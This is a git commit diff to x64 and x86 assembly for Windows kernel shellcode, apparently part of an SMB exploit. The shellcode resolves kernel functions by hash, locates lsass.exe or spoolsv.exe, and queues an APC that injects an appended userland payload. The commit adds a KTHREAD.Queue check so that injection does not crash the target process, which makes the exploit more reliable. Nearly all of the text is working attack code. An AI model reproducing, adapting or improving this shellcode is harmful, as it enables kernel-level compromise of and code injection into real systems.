check KTHREAD.Queue before inserting APC

This commit is contained in:
worawit
2017-07-10 10:17:15 +07:00
parent 9dbe746860
commit a1fd34a1de
2 changed files with 41 additions and 6 deletions

View File

@@ -14,7 +14,6 @@
; - The shellcode do not allocate shadow stack if possible for minimal shellcode size. ; - The shellcode do not allocate shadow stack if possible for minimal shellcode size.
; It is ok because some Windows function does not require shadow stack. ; It is ok because some Windows function does not require shadow stack.
; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed. ; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
; This helps running exploit against same target repeatly more reliable.
; - The userland payload MUST be appened to this shellcode. ; - The userland payload MUST be appened to this shellcode.
; ;
; Reference: ; Reference:
@@ -31,6 +30,7 @@ PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
LSASS_EXE_HASH EQU 0xc1fa6a5a LSASS_EXE_HASH EQU 0xc1fa6a5a
SPOOLSV_EXE_HASH EQU 0x3ee083d8 SPOOLSV_EXE_HASH EQU 0x3ee083d8
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
PSGETTHREADTEB_HASH EQU 0xcef84c3e
KEINITIALIZEAPC_HASH EQU 0x6d195cc4 KEINITIALIZEAPC_HASH EQU 0x6d195cc4
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634 KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
PSGETPROCESSPEB_HASH EQU 0xb818b848 PSGETPROCESSPEB_HASH EQU 0xb818b848
@@ -329,8 +329,6 @@ found_target_process:
; try queueing APC then check KAPC member is more reliable. ; try queueing APC then check KAPC member is more reliable.
_insert_queue_apc_loop: _insert_queue_apc_loop:
; TODO: do not try to queue APC if TEB.ActivationContextStackPointer is NULL
; if TEB.ActivationContextStackPointer is NULL, system will be reboot after inserting APC to queue
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
mov rbx, [rbx+8] mov rbx, [rbx+8]
%ifndef COMPACT %ifndef COMPACT
@@ -338,6 +336,21 @@ _insert_queue_apc_loop:
je _insert_queue_apc_loop ; skip list head je _insert_queue_apc_loop ; skip list head
%endif %endif
; find start of ETHREAD address
; set it to rdx to be used for KeInitializeApc() argument too
lea rdx, [rbx + r14] ; ETHREAD
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
; Teb member is next to Queue member.
mov edi, PSGETTHREADTEB_HASH
call get_proc_addr
mov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f)
cmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL
je _insert_queue_apc_loop
; KeInitializeApc(PKAPC, ; KeInitializeApc(PKAPC,
; PKTHREAD, ; PKTHREAD,
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0), ; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
@@ -353,7 +366,6 @@ _insert_queue_apc_loop:
push 1 ; UserMode push 1 ; UserMode
push rbp ; userland shellcode (MUST NOT be NULL) push rbp ; userland shellcode (MUST NOT be NULL)
push r8 ; NULL push r8 ; NULL
lea rdx, [rbx + r14] ; ETHREAD
sub rsp, 0x20 ; shadow stack sub rsp, 0x20 ; shadow stack
mov edi, KEINITIALIZEAPC_HASH mov edi, KEINITIALIZEAPC_HASH
call win_api_direct call win_api_direct

View File

@@ -29,6 +29,7 @@ PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
LSASS_EXE_HASH EQU 0xc1fa6a5a LSASS_EXE_HASH EQU 0xc1fa6a5a
SPOOLSV_EXE_HASH EQU 0x3ee083d8 SPOOLSV_EXE_HASH EQU 0x3ee083d8
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
PSGETTHREADTEB_HASH EQU 0xcef84c3e
KEINITIALIZEAPC_HASH EQU 0x6d195cc4 KEINITIALIZEAPC_HASH EQU 0x6d195cc4
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634 KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
PSGETPROCESSPEB_HASH EQU 0xb818b848 PSGETPROCESSPEB_HASH EQU 0xb818b848
@@ -288,12 +289,34 @@ found_target_process:
; try queueing APC then check KAPC member is more reliable. ; try queueing APC then check KAPC member is more reliable.
_insert_queue_apc_loop: _insert_queue_apc_loop:
; TODO: do not try to queue APC if TEB.ActivationContextStackPointer is NULL
; if TEB.ActivationContextStackPointer is NULL, system will be reboot after inserting APC to queue
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
mov ebx, [ebx+4] mov ebx, [ebx+4]
; no check list head ; no check list head
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
; Teb member is next to Queue member.
mov eax, PSGETTHREADTEB_HASH
call get_proc_addr
mov eax, dword [eax+0xa] ; get offset from code (offset of Teb is always > 0x7f)
%ifdef WIN7
sub eax, edi
cmp dword [ebx+eax-12], 0 ; KTHREAD.Queue MUST not be NULL
%elifdef WIN8
sub eax, edi
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
%else
cmp al, 0xa0 ; win8+ offset is 0xa8
ja _kthread_queue_check
sub al, 8 ; late 5.2 to 6.1, displacement is 0xc
_kthread_queue_check:
sub eax, edi
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
%endif
je _insert_queue_apc_loop
; KeInitializeApc(PKAPC, ; KeInitializeApc(PKAPC,
; PKTHREAD, ; PKTHREAD,
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0), ; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),